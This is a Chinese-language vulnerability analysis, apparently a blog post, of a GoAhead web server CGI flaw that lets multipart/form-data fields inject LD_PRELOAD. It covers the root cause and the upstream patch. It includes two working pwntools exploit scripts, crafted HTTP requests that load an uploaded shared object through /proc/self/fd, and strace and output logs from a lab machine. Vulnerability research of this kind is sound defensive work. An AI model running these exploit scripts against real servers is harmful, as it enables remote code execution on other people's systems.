HTTP/1.1 200 OK Date: Tue Oct 1 13:29:47 2024 Connection: close X-Frame-Options: SAMEORIGIN Pragma: no-cache Cache-Control: no-cache Content-Type: text/plain Content-Length: 733 total 0 dr-x------ 2 root root 7 Oct 1 21:29 . dr-xr-xr-x 9 root root 0 Oct 1 21:29 .. lrwx------ 1 root root 64 Oct 1 21:29 0 -> /tmp/cgi-75.tmp lrwx------ 1 root root 64 Oct 1 21:29 1 -> /tmp/cgi-77.tmp lrwx------ 1 root root 64 Oct 1 21:29 2 -> /dev/pts/1 l-wx------ 1 root root 64 Oct 1 21:29 3 -> /home/ayoung/goahead/test/a lr-x------ 1 root root 64 Oct 1 21:29 4 -> /proc/120012/fd lrwx------ 1 root root 64 Oct 1 21:29 6 -> /tmp/cgi-75.tmp lrwx------ 1 root root 64 Oct 1 21:29 7 -> /tmp/cgi-77.tmp total 12 drwxrwxr-x 2 ayoung ayoung 4096 Oct 1 21:29 . drwxrwxr-x 16 ayoung ayoung 4096 Oct 1 18:30 .. -rw-rw-r-- 1 ayoung ayoung 0 Sep 19 21:51 .keep -rw------- 1 root root 6 Oct 1 21:29 tmp-76.tmp ...
会发现tmp目录下有tmp-76.tmp,但/proc/self/fd中没有相关文件描述符。可能cgi此时已经将临时文件关闭了
考虑什么情况下可以让这个文件描述符不关闭
一种是使用两个线程,线程一流式缓慢上传文件,线程二使用LD_PRELOAD包含这个文件
同时给payload.so文件内容后增加一些脏字符,并将HTTP的Content-Length设置成小于最终的数据包Body大小。这样,GoAhead读取数据包的时候能够完全读取到payload.so的内容,但实际这个文件并没有上传完毕
第二种不需要线程或竞争
首先构造好之前那个无法利用的数据包,其中第一个表单字段是LD_PRELOAD,值是文件描述符,一般是/proc/self/fd/7。然后改造这个数据包:
- 给payload.so文件末尾增加几千个字节的脏字符,比如说a(右键
paste from file上传) - 关掉burpsuite自动的“Update Content-Length”(顶部菜单栏
Repeater里) - 将数据包的Content-Length设置为不超过16384的值,但需要比
payload.so文件的大小要大个500字节左右,这里设置为15000
实操过程中,我使用burp发包有些字节丢失导致报错:
ERROR: ld.so: object '/proc/self/fd/7' from LD_PRELOAD cannot be preloaded (invalid ELF header): ignored.
使用脚本发送请求,成功复现
from pwn import* r = remote('192.168.130.133',8888) with open("exp.so", "rb") as f: expso = f.read() _packet = f'''POST /cgi-bin/test HTTP/1.1\r Host: 192.168.130.133:8888\r Cache-Control: max-age=0\r Upgrade-Insecure-Requests: 1\r User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36\r Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r Accept-Encoding: gzip, deflate\r Accept-Language: en-CN,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-GB;q=0.6,en-US;q=0.5\r Connection: close\r Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM\r Content-Length: {len(expso)+500}\r \r ------WebKitFormBoundarylNDKbe0ngCGdEiPM\r Content-Disposition: form-data; name="LD_PRELOAD";\r \r /proc/self/fd/7\r ------WebKitFormBoundarylNDKbe0ngCGdEiPM\r Content-Disposition: form-data; name="data"; filename="1.txt"\r Content-Type: text/plain\r \r '''.encode() _packet+=expso _packet+=b"A"*2000 _packet+=b"\r\n------WebKitFormBoundarylNDKbe0ngCGdEiPM--\r\n" r.send(_packet) r.interactive()
返回出现Hacked
同时,可以发现/proc/self/fd目录下出现了我们上传的临时文件的fd,且正好是7,成功文件包含
Hacked Content-Type: text/plain Hacked total 0 dr-x------ 2 root root 8 Oct 1 22:31 . dr-xr-xr-x 9 root root 0 Oct 1 22:31 .. lrwx------ 1 root root 64 Oct 1 22:31 0 -> /tmp/cgi-24.tmp lrwx------ 1 root root 64 Oct 1 22:31 1 -> /tmp/cgi-26.tmp lrwx------ 1 root root 64 Oct 1 22:31 2 -> /dev/pts/1 l-wx------ 1 root root 64 Oct 1 22:31 3 -> /home/ayoung/goahead/test/a lr-x------ 1 root root 64 Oct 1 22:31 4 -> /proc/121437/fd lrwx------ 1 root root 64 Oct 1 22:31 6 -> /tmp/cgi-24.tmp l-wx------ 1 root root 64 Oct 1 22:31 7 -> /home/ayoung/goahead/test/tmp/tmp-25.tmp lrwx------ 1 root root 64 Oct 1 22:31 8 -> /tmp/cgi-26.tmp Hacked total 24 drwxrwxr-x 2 ayoung ayoung 4096 Oct 1 22:31 . drwxrwxr-x 16 ayoung ayoung 4096 Oct 1 22:18 .. -rw-rw-r-- 1 ayoung ayoung 0 Sep 19 21:51 .keep -rw------- 1 root root 14815 Oct 1 22:31 tmp-25.tmp
另一种方法,找找有没有其他写入临时文件的地方做包含
全局搜索write\(.*fd
除去前文利用的上传文件中的写入,还有一处写入位于cgi.c/websProcessCgiData函数中
PUBLIC bool websProcessCgiData(Webs *wp) { ssize nbytes; nbytes = bufLen(&wp->input); trace(5, "cgi: write %d bytes to CGI program", nbytes); if (write(wp->cgifd, wp->input.servp, (int) nbytes) != nbytes) { websError(wp, HTTP_CODE_INTERNAL_SERVER_ERROR| WEBS_CLOSE, "Cannot write to CGI gateway"); } else { trace(5, "cgi: write %d bytes to CGI program", nbytes); } websConsumeInput(wp, nbytes); return 1; }
该函数紧接着在websProcessUploadData之后
static bool processContent(Webs *wp) { bool canProceed; if (!wp->eof) { ... #if ME_GOAHEAD_UPLOAD if (wp->flags & WEBS_UPLOAD) { canProceed = websProcessUploadData(wp); if (!canProceed || wp->finalized) { return canProceed; } } #endif ... #endif #if ME_GOAHEAD_CGI if (wp->cgifd >= 0) { canProceed = websProcessCgiData(wp); if (!canProceed || wp->finalized) { return canProceed; } } #endif } ... return canProceed; }
而websProcessUploadData()函数中,循环时读取当前行存为line,然后更新wp->input.servp,保证wp->input.servp每次指向最新一行,boundary结束符--时切换状态为UPLOAD_CONTENT_END退出while。返回前还会执行一个bufCompact()
PUBLIC bool websProcessUploadData(Webs *wp) { char *line, *nextTok; ssize nbytes; bool canProceed; line = 0; canProceed = 1; while (canProceed && !wp->finalized && wp->uploadState != UPLOAD_CONTENT_END) { if (wp->uploadState == UPLOAD_BOUNDARY || wp->uploadState == UPLOAD_CONTENT_HEADER) { /* Parse the next input line */ line = wp->input.servp; if ((nextTok = memchr(line, '\n', bufLen(&wp->input))) == 0) { /* Incomplete line */ canProceed = 0; break; } *nextTok++ = '\0'; nbytes = nextTok - line; assert(nbytes > 0); websConsumeInput(wp, nbytes); strim(line, "\r", WEBS_TRIM_END); } switch (wp->uploadState) { ... case UPLOAD_BOUNDARY: processContentBoundary(wp, line); break; ... case UPLOAD_CONTENT_END: break; } } bufCompact(&wp->input); return canProceed; }
static void processContentBoundary(Webs *wp, char *line) { /* Expecting a multipart boundary string */ if (strncmp(wp->boundary, line, wp->boundaryLen) != 0) {...} else if (line[wp->boundaryLen] && strcmp(&line[wp->boundaryLen], "--") == 0) { wp->uploadState = UPLOAD_CONTENT_END; } else {...} }
bufCompact()函数如果数据包还有内容,将bp->servp拷贝到bp->buf,再更新bp->servp = bp->buf;,所以不影响前文分析的bp->servp指向boundary结束符的下一行开头
PUBLIC void bufCompact(WebsBuf *bp) { ssize len; if (bp->buf) { if ((len = bufLen(bp)) > 0) { if (bp->servp < bp->endp && bp->servp > bp->buf) { bufAddNull(bp); memmove(bp->buf, bp->servp, len + 1); bp->endp -= bp->servp - bp->buf; bp->servp = bp->buf; } } else { bp->servp = bp->endp = bp->buf; *bp->servp = '\0'; } } }
之后就会进入websProcessCgiData()将结束符后的内容写入临时文件中,发送下面报文并监控系统调用可以捕捉到写入
这个报文就不需要最后再空一行,不过为了保险也可以都保持空出一行
POST /cgi-bin/test HTTP/1.1 Host: 192.168.130.133:8888 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-CN,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-GB;q=0.6,en-US;q=0.5 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM Content-Length: 151 ------WebKitFormBoundarylNDKbe0ngCGdEiPM Content-Disposition: form-data; name="LD_PRELOAD"; 222 ------WebKitFormBoundarylNDKbe0ngCGdEiPM-- ayoung
删去一些对日志的写入,监控到写入系统调用
ayoung@ay:~/goahead/test$ sudo strace -p `pidof goahead` -f -e trace=openat,unlink,write,dup2 strace: Process 129786 attached ... openat(AT_FDCWD, "/tmp/cgi-73.tmp", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6 ... write(6, "ayoung", 6) = 6 ... openat(AT_FDCWD, "/tmp/cgi-73.tmp", O_RDWR|O_CREAT, 0666) = 6 openat(AT_FDCWD, "/tmp/cgi-74.tmp", O_RDWR|O_CREAT|O_TRUNC, 0666) = 7 strace: Process 131117 attached [pid 131117] dup2(6, 0) = 0 ...
不过如果不修改content-length,该文件仍然会被删除
ayoung@ay:~/goahead/test$ cat /tmp/cgi-0.tmp ayoung
注入的环境变量可以是/proc/self/fd/0也可以是/proc/self/fd/6,因为 execve 前调用了dup2,从上面系统调用监控结果能看出来 6 是对于父进程的 fd,0 是对于子进程的 fd
脚本如下
from pwn import* r = remote('192.168.130.133',8888) with open("exp.so", "rb") as f: expso = f.read() body = '''------WebKitFormBoundarylNDKbe0ngCGdEiPM\r Content-Disposition: form-data; name="LD_PRELOAD";\r \r /proc/self/fd/0\r ------WebKitFormBoundarylNDKbe0ngCGdEiPM--\r '''.encode() body += expso _packet = f'''POST /cgi-bin/test HTTP/1.1\r Host: 192.168.130.133:8888\r Cache-Control: max-age=0\r Upgrade-Insecure-Requests: 1\r User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36\r Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r Accept-Encoding: gzip, deflate\r Accept-Language: en-CN,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-GB;q=0.6,en-US;q=0.5\r Connection: close\r Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM\r Content-Length: {len(body)}\r \r '''.encode() _packet+=body r.send(_packet) r.interactive()
分析
根因属于函数的误用,利用上结合了过滤不可信变量时存在遗漏
处理命令行参数时如下所示,首先使用了strim函数
if (s->content.valid && s->content.type == string) { vp = strim(s->name.value.string, 0, WEBS_TRIM_START); if (smatch(vp, "REMOTE_HOST") || smatch(vp, "HTTP_AUTHORIZATION") || smatch(vp, "IFS") || smatch(vp, "CDPATH") || smatch(vp, "PATH") || sstarts(vp, "LD_")) { continue; } if (s->arg != 0 && *ME_GOAHEAD_CGI_VAR_PREFIX != '\0') { envp[n++] = sfmt("%s%s=%s", ME_GOAHEAD_CGI_VAR_PREFIX, s->name.value.string, s->content.value.string); } else { envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string); } trace(0, "Env[%d] %s", n, envp[n-1]); if (n >= envpsize) { envpsize *= 2; envp = wrealloc(envp, envpsize * sizeof(char *)); } }
这里最终调用strspn(str, set),但set为'\0',导致该函数使用只会返回0,从而后续字符串判断过滤都失效
PUBLIC char *strim(char *str, cchar *set, int where) { char *s; ssize len, i; if (str == 0 || set == 0) { return 0; } if (where & WEBS_TRIM_START) { i = strspn(str, set); } else { i = 0; } s = (char*) &str[i]; if (where & WEBS_TRIM_END) { len = strlen(s); while (len > 0 && strspn(&s[len - 1], set) > 0) { s[len - 1] = '\0'; len--; } } return s; }
但是注意上面代码中存在两条分支,第一个if语句最终保存的变量名使用前缀ME_GOAHEAD_CGI_VAR_PREFIX即CGI_,而else语句中不会使用前缀可以注入,则需要找到如何实现s->arg == 0
回看之前通过GET参数注入环境变量的漏洞相关代码,添加变量的addFormVars中倒数第二行出现sp->arg=1,这里就是将添加的变量标记为不可信
/* NOTE: the vars variable is modified */ static void addFormVars(Webs *wp, char *vars) { WebsKey *sp; cchar *prior; char *keyword, *value, *tok; assert(wp); assert(vars); keyword = stok(vars, "&", &tok); while (keyword != NULL) { if ((value = strchr(keyword, '=')) != NULL) { *value++ = '\0'; websDecodeUrl(keyword, keyword, strlen(keyword)); websDecodeUrl(value, value, strlen(value)); } else { value = ""; } if (*keyword) { /* If keyword has already been set, append the new value to what has been stored. */ if ((prior = websGetVar(wp, keyword, NULL)) != 0) { sp = websSetVarFmt(wp, keyword, "%s %s", prior, value); } else { sp = websSetVar(wp, keyword, value); } /* Flag as untrusted keyword by setting arg to 1. This is used by CGI to prefix this keyword */ sp->arg = 1; } keyword = stok(NULL, "&", &tok); } }
于是方向变成了寻找有没有既是用户可控,又没有被标记为不可信变量的注入点
全局搜一下函数websSetVar()很明显能发现upload.c中processContentData()函数在设置变量后没有修改arg,其值默认为0
最终跟踪调用能跟到下面代码,说明需要通过multipart/form-data触发
else if (strcmp(key, "content-type") == 0) { wfree(wp->contentType); wp->contentType = sclone(value); if (strstr(value, "application/x-www-form-urlencoded")) { wp->flags |= WEBS_FORM; } else if (strstr(value, "application/json")) { wp->flags |= WEBS_JSON; } else if (strstr(value, "multipart/form-data")) { wp->flags |= WEBS_UPLOAD; }
最终观察代码可以发现,name=后内容被设置为wp->uploadVar
else if (scaselesscmp(key, "name") == 0) { wfree(wp->uploadVar); wp->uploadVar = sclone(value); }
并在upload.c中processContentData函数被设置到哈希表中,且未修改arg
else if (wp->uploadVar) { /* Normal string form data variables */ data[len] = '\0'; trace(5, "uploadFilter: form[%s] = %s", wp->uploadVar, data); websDecodeUrl(wp->uploadVar, wp->uploadVar, -1); websDecodeUrl(data, data, -1); websSetVar(wp, wp->uploadVar, data); }
从而可以通过在multipart/form-data中上传变量来注入环境变量
补丁
使用multipart/form-data上传的变量也标记了不可信
同时修正了strim的使用
@@ -320,6 +320,7 @@ static bool processContentData(Webs *wp) { WebsUpload *file; WebsBuf *content; + WebsKey *sp; ssize size, nbytes, len; char *data, *bp; @@ -380,7 +381,9 @@ static bool processContentData(Webs *wp) trace(5, "uploadFilter: form[%s] = %s", wp->uploadVar, data); websDecodeUrl(wp->uploadVar, wp->uploadVar, -1); websDecodeUrl(data, data, -1); - websSetVar(wp, wp->uploadVar, data); + sp = websSetVar(wp, wp->uploadVar, data); + // Flag as untrusted so CGI will prefix + sp->arg = 1; } websConsumeInput(wp, nbytes); }
@@ -173,10 +173,10 @@ PUBLIC bool cgiHandler(Webs *wp) if (wp->vars) { for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) { if (s->content.valid && s->content.type == string) { - vp = strim(s->name.value.string, 0, WEBS_TRIM_START); + vp = strim(s->name.value.string, " \t\r\n", WEBS_TRIM_BOTH); if (smatch(vp, "REMOTE_HOST") || smatch(vp, "HTTP_AUTHORIZATION") || smatch(vp, "IFS") || smatch(vp, "CDPATH") || - smatch(vp, "PATH") || sstarts(vp, "LD_")) { + smatch(vp, "PATH") || sstarts(vp, "PYTHONPATH") || sstarts(vp, "LD_")) { continue; } if (s->arg != 0 && *ME_GOAHEAD_CGI_VAR_PREFIX != '\0') {